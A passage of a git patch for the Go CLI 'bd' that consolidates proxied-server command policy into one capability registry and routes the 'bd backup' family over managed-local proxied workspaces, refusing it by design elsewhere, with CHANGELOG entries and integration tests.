validateProxyMaintenanceBeforeProvider(hooks) + err := validateProxyRegistryBeforeProvider(hooks) if err == nil { t.Fatal("expected typed maintenance refusal") } diff --git a/cmd/bd/readonly_policy_test.go b/cmd/bd/readonly_policy_test.go index cd5d78f91..afa6329c2 100644 --- a/cmd/bd/readonly_policy_test.go +++ b/cmd/bd/readonly_policy_test.go @@ -68,26 +68,6 @@ func TestEffectiveRootStorePolicy(t *testing.T) { } } -func TestStrictReadonlyBackendSupport(t *testing.T) { - tests := []struct { - name string - cfg *configfile.Config - want bool - }{ - {name: "fresh embedded default", cfg: nil, want: true}, - {name: "dolt server", cfg: &configfile.Config{Backend: configfile.BackendDolt, DoltMode: configfile.DoltModeServer}, want: true}, - {name: "proxied server", cfg: &configfile.Config{Backend: configfile.BackendDolt, DoltMode: configfile.DoltModeProxiedServer}, want: false}, - } - - for _, tc := range tests { - t.Run(tc.name, func(t *testing.T) { - if got := backendSupportsStrictReadonly(tc.cfg); got != tc.want { - t.Fatalf("backendSupportsStrictReadonly() = %v, want %v", got, tc.want) - } - }) - } -} - type strictReadonlyPostRunStore struct { storage.DoltStorage metadataWrites int diff --git a/cmd/bd/serve.go b/cmd/bd/serve.go index ab5bcc88c..713a7ec5e 100644 --- a/cmd/bd/serve.go +++ b/cmd/bd/serve.go @@ -608,7 +608,7 @@ func serveDatabaseSource(beadsDir string) (serveDatabase, error) { // the server, which no client can discover before connecting. bd already // answers this question the same way one layer down, where a backend that // cannot guarantee mutation-free access is turned away rather than opened -// anyway (backendSupportsStrictReadonly, cmd/bd/main.go). +// anyway (the proxy.readonly.unsupported refusal in cmd/bd/main.go). // // The value is read from the global rather than a flag lookup because // `readonly` is also a config key, and PersistentPreRunE has already folded diff --git a/cmd/bd/store_factory.go b/cmd/bd/store_factory.go index 00f1afb32..0bf5fe521 100644 --- a/cmd/bd/store_factory.go +++ b/cmd/bd/store_factory.go @@ -70,9 +70,7 @@ func newRegisteredBackendStore(ctx context.Context, name, beadsDir string, readO func newDoltStore(ctx context.Context, cfg *dolt.Config) (s storage.DoltStorage, err error) { defer func() { s, err = activateEventsJournalStore(cfg.BeadsDir, s, err) }() if cfg.ProxiedServer { - // TODO: this should not be a store - // it should be a uow provider - return nil, fmt.Errorf("proxy server store should be uow provider") + return nil, errProxiedStoreUnrouted() } if cfg.ServerMode { return dolt.New(ctx, cfg) @@ -172,13 +170,7 @@ func newDoltStoreFromConfig(ctx context.Context, beadsDir string) (s storage.Dol return backend.Open(ctx, beadsDir) } if cfg != nil && cfg.IsDoltProxiedServerMode() { - // TODO: this needs to be uow provider - return nil, fmt.Errorf("proxy server store should be uow provider") - // return newProxiedServerStore(ctx, &dolt.Config{ - // BeadsDir: beadsDir, - // Database: cfg.GetDoltDatabase(), - // ProxiedServer: true, - // }) + return nil, errProxiedStoreUnrouted() } if cfg != nil && cfg.IsDoltServerMode() { return dolt.NewFromConfig(ctx, beadsDir) @@ -280,14 +272,7 @@ func openNonMutatingStoreFromConfig(ctx context.Context, beadsDir string, previe return backend.OpenReadOnly(ctx, beadsDir) } if cfg != nil && cfg.IsDoltProxiedServerMode() { - // TODO: this needs to be uow provider - return nil, fmt.Errorf("proxy server store needs to be uow provider") - // return newProxiedServerStore(ctx, &dolt.Config{ - // BeadsDir: beadsDir, - // Database: cfg.GetDoltDatabase(), - // ProxiedServer: true, - // ReadOnly: true, - // }) + return nil, errProxiedStoreUnrouted() } if cfg != nil && cfg.IsDoltServerMode() { return dolt.NewFromConfigWithOptions(ctx, beadsDir, &dolt.Config{ReadOnly: true}) diff --git a/cmd/bd/store_factory_nocgo.go b/cmd/bd/store_factory_nocgo.go index 3266e1aa9..152ceb294 100644 --- a/cmd/bd/store_factory_nocgo.go +++ b/cmd/bd/store_factory_nocgo.go @@ -50,9 +50,7 @@ func newRegisteredBackendStore(ctx context.Context, name, beadsDir string, readO func newDoltStore(ctx context.Context, cfg *dolt.Config) (s storage.DoltStorage, err error) { defer func() { s, err = activateEventsJournalStore(cfg.BeadsDir, s, err) }() if cfg.ProxiedServer { - // TODO: this should not be a store - // it should be a uow provider - return nil, fmt.Errorf("proxy server store should be uow provider") + return nil, errProxiedStoreUnrouted() } if !cfg.ServerMode { return nil, fmt.Errorf("%s", nocgoEmbeddedErrMsg) @@ -83,13 +81,7 @@ func newDoltStoreFromConfig(ctx context.Context, beadsDir string) (s storage.Dol return backend.Open(ctx, beadsDir) } if cfg != nil && cfg.IsDoltProxiedServerMode() { - // TODO: this needs to be uow provider - return nil, fmt.Errorf("proxy server store should be uow provider") - // return newProxiedServerStore(ctx, &dolt.Config{ - // BeadsDir: beadsDir, - // Database: cfg.GetDoltDatabase(), - // ProxiedServer: true, - // }) + return nil, errProxiedStoreUnrouted() } if cfg != nil && cfg.IsDoltServerMode() { return dolt.NewFromConfig(ctx, beadsDir) @@ -114,14 +106,7 @@ func newReadOnlyStoreFromConfig(ctx context.Context, beadsDir string) (storage.D return backend.OpenReadOnly(ctx, beadsDir) } if cfg != nil && cfg.IsDoltProxiedServerMode() { - // TODO: this needs to be uow provider - return nil, fmt.Errorf("proxy server store needs to be uow provider") - // return newProxiedServerStore(ctx, &dolt.Config{ - // BeadsDir: beadsDir, - // Database: cfg.GetDoltDatabase(), - // ProxiedServer: true, - // ReadOnly: true, - // }) + return nil, errProxiedStoreUnrouted() } if cfg != nil && cfg.IsDoltServerMode() { return dolt.NewFromConfigWithOptions(ctx, beadsDir, &dolt.Config{ReadOnly: true}) diff --git a/cmd/bd/transform_capability.go b/cmd/bd/transform_capability.go deleted file mode 100644 index 2265a1b78..000000000 --- a/cmd/bd/transform_capability.go +++ /dev/null @@ -1,90 +0,0 @@ -package main - -import ( - "sort" - "strings" - - "github.com/spf13/cobra" - "github.com/spf13/pflag" -) - -type TransformCapability struct { - Path string - Argument string - Outcome ProxyCapabilityOutcome - Code string - Message string - ExitCode int - Mutates bool -} - -var transformCapabilityRows = []TransformCapability{ - transformRefused("rename"), - transformRefused("rename-prefix"), - transformRefusedWithArgs("rename-prefix", "--dry-run"), - transformRefusedWithArgs("rename-prefix", "--repair"), - transformRefusedWithArgs("rename-prefix", "--dry-run --repair"), - transformRefused("duplicate"), - transformRefusedWithArgs("duplicate", "--of"), - transformRefused("supersede"), - transformRefusedWithArgs("supersede", "--with"), - {Path: "duplicates", Outcome: ProxyOutcomeHonored}, - transformRefusedWithArgs("duplicates", "--auto-merge"), - {Path: "duplicates", Argument: "--auto-merge --dry-run", Outcome: ProxyOutcomeHonored}, -} - -func transformRefused(path string) TransformCapability { - return transformRefusedWithArgs(path, "") -} - -func transformRefusedWithArgs(path, argument string) TransformCapability { - displayPath := path - if argument != "" { - displayPath += " " + argument - } - return TransformCapability{ - Path: path, Argument: argument, Outcome: ProxyOutcomeRefused, - Code: "proxy.transform.unsupported", Message: displayPath + " is not supported in proxied-server mode", ExitCode: 1, - } -} - -func transformCapabilityError(row TransformCapability) *ProxyCapabilityError { - return &ProxyCapabilityError{Code: row.Code, Message: row.Message, ExitCode: row.ExitCode, Mutates: row.Mutates} -} - -func lookupTransformCapability(cmd *cobra.Command) (TransformCapability, bool) { - path := cmd.CommandPath() - path = strings.TrimSpace(strings.TrimPrefix(path, cmd.Root().Name())) - var args []string - cmd.Flags().Visit(func(f *pflag.Flag) { - if transformPolicyFlags[f.Name] { - args = append(args, "--"+f.Name) - } - }) - sort.Strings(args) - arg := strings.Join(args, " ") - for _, row := range transformCapabilityRows { - if row.Path == path && row.Argument == arg { - return row, true - } - } - return TransformCapability{}, false -} - -// Only flags that alter a transform's execution belong in the capability key. -// Output, tracing, and other inherited root flags must not bypass a refusal. -var transformPolicyFlags = map[string]bool{ - "auto-merge": true, "dry-run": true, "repair": true, "of": true, "with": true, -} - -func validateProxyTransformBeforeProvider(cmd *cobra.Command) error { - if cmd == nil { - return nil - } - if row, ok := lookupTransformCapability(cmd); ok { - if row.Outcome == ProxyOutcomeRefused { - return HandleProxyCapabilityError(transformCapabilityError(row)) - } - } - return nil -} From c69dd3061a25f176f0159ebde13426d2143b426c Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 23 Sep 2026 02:16:45 -0700 Subject: [PATCH 064/624] feat(backup): route the backup family over proxied-server, refused by design off-host (proxied-parity S3) (#6584) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * refactor(proxy): one capability registry, with a reason on every refusal Proxied-server policy lived in three path tables (a maintenance refusal map, a history classification map, a transform row list), each with its own lookup and its own front-door validator, plus a flag matrix. Nothing forced a new command to appear in any of them, so an unclassified command sailed past the gate and died in the store factory with `proxy server store should be uow provider`. That — not the table count — was the root problem. One table now (cmd/bd/capability_registry.go), and a test that fails when a runnable command is missing from it. Adding a command is no longer a place where policy can be forgotten: it is a build failure until someone decides whether the proxied front door lets it through. Every refusal carries a Reason: `design` where refusing is correct and expected to stay (shared history, multi-repo routing, destructive admin, storage-format surgery, strict --readonly), `unimplemented` where it is a gap with a named owner. The reason renders in the refusal JSON, additive to the frozen {code, error, mutates} contract, and is omitted on refusals that report a runtime state rather than a policy so a consumer keying on its presence is never told "" by mistake. The registry also inventories the 57 untyped refusals commands raise from their own RunE. Those rows are not enforced — converting them changes observable output and belongs to the slice that owns each family — but a source scan now keeps the inventory honest in both directions. The store-factory backstop is typed as `proxy.store.unrouted`, the unreachable duplicate readonly refusal in main.go is gone (the proxied branch above it already returns for the only config that reaches it), and with it `backendSupportsStrictReadonly`, which had no other caller. No outcome changes. Every code, message and exit status is identical, which #6576's five-topology matrix proves: 90/90 cells unchanged (HONORED 47, REFUSED_TYPED 24 = 4 design + 20 unimplemented, ERROR 12, WRONG_ANSWER 4, DEGRADED 3), all five topologies exercised, no skips. Co-Authored-By: Claude Fable 5 * refactor(proxy): `migrate hooks` is an unimplemented refusal, not a design one The registry filed `migrate hooks` under "storage-format and workspace surgery against a store other clients may be holding open". That rationale does not describe it: migrate_hooks.go plans and applies GIT HOOK FILE migration through doctor.PlanHookMigration, on the local filesystem, and opens no store at all. Left as it was, proxied-local — the default topology since 1.3.0 — loses the command permanently, because `design` tells every later slice the refusal is semantic and settled. It is not settled, but it is also not free to lift, and the difference is structural rather than semantic. `migrate hooks` appears on none of main.go's store-init skip lists, so permitting it makes the root pre-run open the proxied provider before RunE runs. Measured with the row flipped to permitted, not reasoned about: on a managed-local workspace `bd migrate hooks --dry-run` started the proxy AND its dolt child — both pidfiles present — to print a hook plan for five missing hooks, and on a workspace with an unreadable sidecar it exited 1 with "failed to open uow provider: corrupt proxied-server sidecar ..." where it had cleanly refused before. Trading a typed refusal for a provider-open error is not a lift. So: Reason=unimplemented with a Tracking item that names the actual work — put the command on the store-init skip list first, then permit it — which is S7's, not this slice's. No outcome changes; the row still refuses with the same code, message and exit status. The registry header now says that permitting a path costs a provider open, since that is the fact this row turns on and the one the completeness test cannot see. Also leaves S7 an explicit instruction on the rows next door. `migrate issues`, `migrate-personal` and `admin cleanup`/`admin reset` claim `design` on a topology-blind rationale — "a store other clients may be holding open", "destructive against a possibly-shared store" — that describes external and team-server workspaces and does not describe managed-local, which is 1:1 and bd-owned. They are not reclassified here: the table cannot yet express "refused, except on managed-local", and narrowing them is semantic work nobody has done. The comments now say that is why, so the next reader does not mistake conservatism for a considered verdict. Co-Authored-By: Claude Fable 5 * feat(backup): route the backup family over proxied-server, refuse it by design off-host A proxied-server workspace had no backup path at all: all five verbs — init, sync, remove, status, restore — refused. Proxied has been the default topology since 1.3.0, which made this the highest user-weight gap in the proxied-parity plan. The mechanism needed no proxy work. CALL DOLT_BACKUP(...) is ordinary SQL, RunNonTx already hands out a raw pinned connection (the seam compact --dolt and gc run on), the UOW DSN sets a connect timeout and no read deadline, and an active connection keeps the idle reaper from arming — so a backup that takes minutes is safe from both the driver and the 30s reaper. The work was use cases, route files and policy rows, and the premise held. The policy is the interesting half, and it is the first genuinely topology-differentiated rule in the capability registry. A backup destination is resolved by the SERVER: `file:///…` names a path on the machine running dolt. On managed-local that machine and that user are bd's own, because bd spawned the child. Anywhere else — an external host or socket, or a beads-team-server database — the URL describes a filesystem bd cannot see, so honoring the command would either fail at the point of use or, far worse, report success having written the backup where the operator will never look. Those shapes stay refused with Reason=design: no plumbing on this side gives bd a path on somebody else's host. Team-server is classified by OWNERSHIP, not transport. bts owns the store's schema and identity whether bd reaches it over a port, a socket, or a child bd started, and one client registering a server-side backup remote acts on every client's data — the shape of the storm this command's own help text warns about. Restore quiesces before it replaces. DOLT_BACKUP('restore') swaps the database under the server, which is undefined with clients connected, so: the exclusive workspace gate `bd backup restore` already takes excludes every other gated bd command (including `bd serve`); this closes the provider the pre-run opened and shuts the proxy and its dolt child down; it reopens a provider of its own to run the restore as the only client; then it puts the topology down and reopens once more to reconcile the project identity and the backup remote — which also proves the restored database is serviceable. The final shutdown leaves the workspace quiescent for the next command to relaunch lazily. Registry rows gain a Topology map and honoredOn(), stated as "refuse, except here" so a shape nobody thought about — a new transport, or the unknown a corrupt sidecar produces — inherits the refusal rather than the exemption. resolveProxiedTopology reads the shape from the workspace and reports unknown rather than guessing. `bd backup restore --json` now prints a result object on every topology; it printed nothing before, which left a caller unable to tell a completed restore from a skipped one. The four backup subcommands that lacked SilenceUsage/ SilenceErrors no longer follow their error message with "Error: exit code 1" and a usage block. Verified by round trip, not by exit codes: TestManagedLocalProxiedBackupRoundTrip takes a backup on a live managed-local workspace, creates an issue after it, restores, and asserts the pre-backup issue is back and the post-backup one is gone, with both pidfiles absent afterwards. TestProxiedServerBackupRefusedOnExternalTopology pins the typed design refusal against the shared container and proves a refused command starts nothing and writes nothing. Flips four cells of #6576's matrix: `backup status` and `backup sync` go REFUSED_TYPED/unimplemented -> HONORED and -> ERROR ("no backup destination configured", the command's own error, same as every direct topology) on proxied-local, and unimplemented -> design on proxied-external-tcp. Co-Authored-By: Claude Fable 5 * fix(backup): say why proxied backup is refused, and stop calling a cleanup failure a restore failure Review follow-ups on the proxied backup slice. None of them changes which commands are honored on which topology; what changes is what the refusal CLAIMS, and what a restore says when only its teardown failed. The refusal rationale was true of one destination scheme out of five. It said "a backup destination is resolved on the server's filesystem, not this client's" — which describes `file://` and nothing else. resolveDoltBackupURL passes `https://`, `aws://` and `gs://` straight through, and `bd backup`'s own help recommends DoltHub by name; for those the server pushes over the network from its own environment and no filesystem of anybody's is involved. An operator running `bd backup init https://doltremoteapi.dolthub.com/...` on an external topology got a permanent verdict explained by a filesystem the command never touches. The refusal itself stands, on the reason that is true of every scheme: `CALL DOLT_BACKUP('add', …)` registers the remote ON THE SERVER, where it is global to every client connected to it, so one workspace's backup decision becomes everyone's — the same shape as the auto-backup storm this command's help text already warns about. The file:// locality problem is now stated as the second, scheme-specific problem it is. The message keeps its frozen " is not supported in proxied-server mode" prefix and its proxy.backup.unsupported code. The remote-scheme case gets a Tracking item, the way `diff` got "1.4 candidate". The outcome is design; that particular CASE is an open question, and a design label with no tracking reads as "never" to every later slice. It is the same server-env credential question S4 has to answer for `dolt push` on these same topologies. Recorded there too: restore-from-a-remote is already half-broken in DIRECT mode, because validateBackupRestoreDir stats its argument, so `bd backup restore https://...` fails everywhere today. A restore that succeeded and then failed to shut the proxy down reported "restore failed". The operator's data was back; they were told it was not, and the obvious next move — run the restore again — was the wrong one. withQuiescedProxiedProvider now returns teardown failures wrapped in *proxiedTeardownError instead of flattening them into the operation's error, and the message the caller renders is split into a function a test can hold still, because the judgement it encodes (did the data come back) is the point. Both call sites distinguish now; the second one's "did not reopen" wording was also wrong for a teardown failure, since it had reopened. Two smaller things while in here. The guard-rail comment on newProxiedServerUOWProviderAdopting still said "only two callers legitimately have no workspace identity to assert" — this slice added a third. That comment is the register of identity-assertion bypasses, so it now names the third and why, and says what to do about a fourth. And DirToFileURL was "file://" + filepath.Abs with no scheme check: it would have turned a DoltHub URL into file:///cwd/https:/doltremoteapi.dolthub.com/... , a valid-looking URL naming a directory nobody asked for. Unreachable today, and every caller is a restore path, which is exactly the capability the tracking item above describes. CHANGELOG additionally discloses two direct-mode changes this slice makes that were previously only visible in the diff: `bd backup restore --json` prints a result object on EVERY topology where it used to print nothing, and the four backup subcommands that gained SilenceUsage/SilenceErrors no longer follow a failure with "Error: exit code 1" and a usage block, on every topology. Co-Authored-By: Claude Fable 5 * fix(backup): quiesce failed restore reopens and pin JSON output (bd-obos) Preserve the primary constructor or operation error while reporting cleanup failures without a successful-restore marker. Exercise a real malformed-backup reopen failure and assert both pidfiles are removed; retain the successful round trip and assert its JSON result. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Julian Knutsen --------- Co-authored-by: Claude Fable 5 --- CHANGELOG.md | 33 ++ cmd/bd/backup.go | 4 +- cmd/bd/backup_dolt.go | 38 +- ...ackup_proxied_external_integration_test.go | 107 ++++ .../backup_proxied_local_integration_test.go | 208 ++++++++ cmd/bd/backup_proxied_policy_test.go | 285 +++++++++++ cmd/bd/backup_proxied_server.go | 477 ++++++++++++++++++ cmd/bd/backup_restore.go | 25 +- cmd/bd/backup_status_test.go | 69 ++- cmd/bd/capability_registry.go | 140 ++++- cmd/bd/capability_registry_history_test.go | 10 +- cmd/bd/capability_registry_test.go | 90 ++-- cmd/bd/capability_registry_transform_test.go | 12 +- cmd/bd/main.go | 10 +- cmd/bd/proxy_capability.go | 20 +- cmd/bd/proxy_capability_test.go | 13 +- cmd/bd/proxy_topology.go | 54 ++ cmd/bd/uow_factory.go | 23 +- internal/storage/versioncontrolops/backup.go | 13 + .../storage/versioncontrolops/backup_test.go | 29 ++ 20 files changed, 1545 insertions(+), 115 deletions(-) create mode 100644 cmd/bd/backup_proxied_external_integration_test.go create mode 100644 cmd/bd/backup_proxied_local_integration_test.go create mode 100644 cmd/bd/backup_proxied_policy_test.go create mode 100644 cmd/bd/backup_proxied_server.go create mode 100644 cmd/bd/proxy_topology.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 62433ec4f..a80acb144 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -76,6 +76,29 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **`bd backup` works on a proxied-server workspace bd runs the Dolt server + for.** `bd backup init`, `sync`, `remove`, `status` and `restore` are routed + over the proxied provider; before this, a proxied workspace — the default + topology since 1.3.0 — had no backup path at all. `bd backup restore` stops + the proxy and its Dolt child before replacing the database and leaves the + workspace quiescent, so the next command relaunches against the restored + data. + + The family stays **refused by design** on a proxied workspace pointed at a + Dolt server bd does not own (an external host, socket, or a beads-team-server + database): `CALL DOLT_BACKUP('add', …)` registers the backup remote on the + *server*, where it is global to every client connected to it, so one + workspace's backup decision would silently become everyone's — the shape + `bd backup`'s own help text already warns about for auto-backup. A `file://` + destination has a second problem on top, since the server resolves that path + on its own filesystem. The refusal keeps the `proxy.backup.unsupported` code + and now carries `"reason": "design"`; a backup story for those deployments + belongs to whoever runs the server. Whether a *remote-scheme* destination + (DoltHub, `aws://`, `gs://`) should eventually be allowed there is recorded as + an open question rather than settled — the server pushes those over the + network from its own environment, which is the same credential question the + next slice has to answer for `dolt push`. + - **`bd count` supports repeatable `--metadata-field key=value` filters** ([#6023](https://github.com/gastownhall/beads/issues/6023)), so callers can count the same metadata-scoped set `bd list` returns without fetching every @@ -124,6 +147,16 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **A command with no proxied-server route now fails with a typed error** (`proxy.store.unrouted`) instead of the bare string `proxy server store should be uow provider`. +- **`bd backup restore --json` prints a result object on every topology** + (`{"restored": true, "source": ""}`). It previously printed nothing at + all, which left a caller unable to tell a completed restore from a silently + skipped one. This applies to direct/embedded workspaces too, not only proxied + ones. +- **`bd backup init`, `sync`, `remove` and `restore` no longer print a usage + block after a failure.** They now silence cobra's own error and usage + rendering like the rest of the CLI, so a failure is one error line on stderr + instead of the message followed by `Error: exit code 1` and the full usage + text. Exit statuses are unchanged; this applies on every topology. - **`bd gate check` resolves bead gates whose target lives in a prefix-routed rig** ([#5859](https://github.com/gastownhall/beads/pull/5859)). After a local diff --git a/cmd/bd/backup.go b/cmd/bd/backup.go index 4f5249ef1..6e2e40325 100644 --- a/cmd/bd/backup.go +++ b/cmd/bd/backup.go @@ -56,7 +56,9 @@ func newBackupStatusCommand(sizeDatabase backupSizeFunc) *cobra.Command { SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { if usesProxiedServer() { - return HandleErrorRespectJSON("backup status is not supported in proxied-server mode") + if err := requireLocalProxiedBackup("backup status"); err != nil { + return err + } } evt := metrics.NewCommandEvent("backup-status") defer func() { diff --git a/cmd/bd/backup_dolt.go b/cmd/bd/backup_dolt.go index 2e42ad2c0..5ee084260 100644 --- a/cmd/bd/backup_dolt.go +++ b/cmd/bd/backup_dolt.go @@ -46,10 +46,13 @@ DoltHub (recommended for cloud backup): After adding, run 'bd backup sync' to push your data.`, Args: cobra.ExactArgs(1), + // As on `backup status`: the failures here are configuration and I/O + // errors, not usage errors, and cobra's default prints the message, then + // "Error: exit code 1", then the whole usage block — three things where one + // was wanted, and on --json it lands after the JSON object. + SilenceUsage: true, + SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { - if usesProxiedServer() { - return HandleErrorRespectJSON("backup init is not supported in proxied-server mode") - } evt := metrics.NewCommandEvent("backup-init") defer func() { if c := metrics.Global(); c != nil { @@ -60,6 +63,10 @@ After adding, run 'bd backup sync' to push your data.`, ctx := rootCtx rawPath := args[0] + if usesProxiedServer() { + return runBackupInitProxied(ctx, rawPath) + } + if store == nil { return fmt.Errorf("no store available") } @@ -124,10 +131,9 @@ backup location configured with 'bd backup init'. The backup is atomic — if the sync fails, the previous backup state is preserved. Run 'bd backup init ' first to configure a destination.`, + SilenceUsage: true, + SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { - if usesProxiedServer() { - return HandleErrorRespectJSON("backup sync is not supported in proxied-server mode") - } evt := metrics.NewCommandEvent("backup-sync") defer func() { if c := metrics.Global(); c != nil { @@ -136,6 +142,9 @@ Run 'bd backup init ' first to configure a destination.`, }() ctx := rootCtx + if usesProxiedServer() { + return runBackupSyncProxied(ctx) + } if store == nil { return fmt.Errorf("no store available") } @@ -358,7 +367,14 @@ func showDoltBackupStatusJSON() map[string]interface{} { // doltBackupSize returns the active database size when the current store // instance can measure its storage locally. Unsupported backends preserve the // optional status-field contract instead of failing the command. +// +// Proxied mode has no store to ask — the provider owns the connection — so the +// fork lives here, where "which backend measures this database" is already the +// question being answered. func doltBackupSize(ctx context.Context) (int64, bool, error) { + if usesProxiedServer() { + return doltBackupSizeProxied(ctx) + } if store == nil { return 0, false, fmt.Errorf("no storage backend is open") } @@ -405,11 +421,10 @@ var backupRemoveCmd = &cobra.Command{ This unregisters the backup remote from Dolt and removes the local backup configuration. The backup data at the destination is not deleted.`, - Aliases: []string{"rm"}, + Aliases: []string{"rm"}, + SilenceUsage: true, + SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { - if usesProxiedServer() { - return HandleErrorRespectJSON("backup remove is not supported in proxied-server mode") - } evt := metrics.NewCommandEvent("backup-remove") defer func() { if c := metrics.Global(); c != nil { @@ -418,6 +433,9 @@ backup configuration. The backup data at the destination is not deleted.`, }() ctx := rootCtx + if usesProxiedServer() { + return runBackupRemoveProxied(ctx) + } if store == nil { return fmt.Errorf("no store available") } diff --git a/cmd/bd/backup_proxied_external_integration_test.go b/cmd/bd/backup_proxied_external_integration_test.go new file mode 100644 index 000000000..5f3ce3f56 --- /dev/null +++ b/cmd/bd/backup_proxied_external_integration_test.go @@ -0,0 +1,107 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" +) + +// TestProxiedServerBackupRefusedOnExternalTopology is the other half of slice +// S3: the backup family is honored on managed-local and refused BY DESIGN +// against a Dolt server bd does not own. +// +// The refusal matters more than the capability. `CALL DOLT_BACKUP('add', …)` +// registers the remote on the server, where it is global to every client of +// that server, so one workspace's backup decision becomes everyone's. With a +// file:/// destination there is a second problem on top: the server resolves +// that path on its own filesystem, so honoring it here would either fail at the +// point of use or write the backup to a directory on the server's host that the +// operator asking for it will never look in. The second outcome is worse than +// any refusal. +// +// Named TestProxiedServer* so .github/scripts/proxied-test-shard.sh runs it in +// the external lane, which is the only one with an external Dolt server. +func TestProxiedServerBackupRefusedOnExternalTopology(t *testing.T) { + requireProxiedServerEnv(t) + + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "bkext") + dest := filepath.Join(t.TempDir(), "dolt-backup") + + // Refusals are decided before the provider is constructed, so take the + // topology down first: a pidfile appearing during one of these commands + // would mean the refusal came too late to have cost nothing. + if err := proxy.Shutdown(p.proxyRoot); err != nil { + t.Logf("proxy.Shutdown(%s) before the refusal probes: %v", p.proxyRoot, err) + } + + for _, tc := range []struct { + name string + args []string + }{ + {"status", []string{"backup", "status"}}, + {"init", []string{"backup", "init", dest}}, + {"sync", []string{"backup", "sync"}}, + {"remove", []string{"backup", "remove"}}, + {"restore", []string{"backup", "restore", dest}}, + } { + t.Run(tc.name, func(t *testing.T) { + args := append([]string{"--json"}, tc.args...) + out, err := bdProxiedRun(t, bd, p.dir, args...) + if err == nil { + t.Fatalf("bd %s succeeded on an external proxied topology:\n%s", + strings.Join(tc.args, " "), out) + } + + var refusal struct { + Code string `json:"code"` + Error string `json:"error"` + Mutates bool `json:"mutates"` + Reason string `json:"reason"` + } + start := strings.Index(string(out), "{") + if start < 0 { + t.Fatalf("no typed refusal JSON:\n%s", out) + } + if err := json.Unmarshal(out[start:], &refusal); err != nil { + t.Fatalf("parse refusal JSON: %v\n%s", err, out) + } + if refusal.Code != "proxy.backup.unsupported" { + t.Errorf("code = %q, want proxy.backup.unsupported", refusal.Code) + } + if refusal.Mutates { + t.Errorf("refusal reported mutates=true") + } + // design, not unimplemented: no later slice is going to lift this. + if refusal.Reason != string(ProxyReasonDesign) { + t.Errorf("reason = %q, want design", refusal.Reason) + } + // The reason has to be the one that is true of every destination + // scheme. "resolved on the server's filesystem" is a file:// + // property, and `bd backup init` also takes https/aws/gs. + if !strings.Contains(refusal.Error, "the backup remote is registered on the server, where it is global to every client") { + t.Errorf("refusal message does not say why: %q", refusal.Error) + } + + // Nothing was started and nothing was written: the refusal is free. + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(p.proxyRoot, name)); err == nil { + t.Errorf("a refused backup command started the topology (%s)", name) + } + } + if _, err := os.Stat(filepath.Join(p.beadsDir, "dolt-backup.json")); err == nil { + t.Errorf("a refused backup command wrote the local backup config") + } + if _, err := os.Stat(dest); err == nil { + t.Errorf("a refused backup command created %s", dest) + } + }) + } +} diff --git a/cmd/bd/backup_proxied_local_integration_test.go b/cmd/bd/backup_proxied_local_integration_test.go new file mode 100644 index 000000000..166d9ab94 --- /dev/null +++ b/cmd/bd/backup_proxied_local_integration_test.go @@ -0,0 +1,208 @@ +//go:build cgo && unix + +package main + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "slices" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" + "github.com/steveyegge/beads/internal/storage/versioncontrolops" +) + +// TestManagedLocalProxiedBackupRoundTrip is the claim slice S3 makes: a +// managed-local proxied workspace can take a Dolt-native backup and get its +// data back from it. +// +// It is deliberately a ROUND TRIP rather than a pair of exit-code assertions. +// A backup command that reports success without producing a restorable +// artifact is the failure that matters here, and the only way to rule it out is +// to restore the artifact and look at the issues that come back: the issue +// created BEFORE the backup must survive, and the one created AFTER it must be +// gone. Both directions are load-bearing — a restore that changed nothing would +// pass the first check alone. +// +// Named TestManagedLocalProxied* so the proxied-local smoke lane +// (.github/workflows/proxied-local-smoke.yml) runs it; that lane is the only +// one that sets BEADS_TEST_PROXIED_LOCAL. +func TestManagedLocalProxiedBackupRoundTrip(t *testing.T) { + requireManagedLocalProxiedEnv(t) + + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkrt", 5*time.Minute) + + before := bdProxiedCreate(t, bd, p.dir, "survives the restore", "-p", "1") + + // Status first: it is the read-only probe that proves the route exists at + // all, and it must answer with a real measured size rather than the + // "optional field omitted" the external topologies produce. + status := readProxiedBackupStatus(t, bd, p) + if status.Dolt.Configured { + t.Fatalf("fresh workspace reports a configured backup: %+v", status.Dolt) + } + if status.DatabaseSize.Bytes <= 0 { + t.Fatalf("backup status measured no database: %+v", status.DatabaseSize) + } + + dest := filepath.Join(t.TempDir(), "dolt-backup") + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "init", dest); err != nil { + t.Fatalf("bd backup init %s: %v\n%s", dest, err, out) + } + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "sync"); err != nil { + t.Fatalf("bd backup sync: %v\n%s", err, out) + } + // A Dolt backup is a chunk store with a manifest; an empty directory here + // would mean the command reported a success it did not perform. + if _, err := os.Stat(filepath.Join(dest, "manifest")); err != nil { + t.Fatalf("backup sync produced no manifest at %s: %v", dest, err) + } + + after := bdProxiedCreate(t, bd, p.dir, "must not survive the restore", "-p", "1") + + out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", dest, "--force", "--json") + if err != nil { + t.Fatalf("bd backup restore %s --force: %v\n%s", dest, err, out) + } + var result struct { + Restored bool `json:"restored"` + Source string `json:"source"` + } + if err := json.Unmarshal(out, &result); err != nil { + t.Fatalf("parse restore JSON: %v\n%s", err, out) + } + if !result.Restored || result.Source != dest { + t.Fatalf("unexpected restore result: %+v; want restored=true, source=%s", 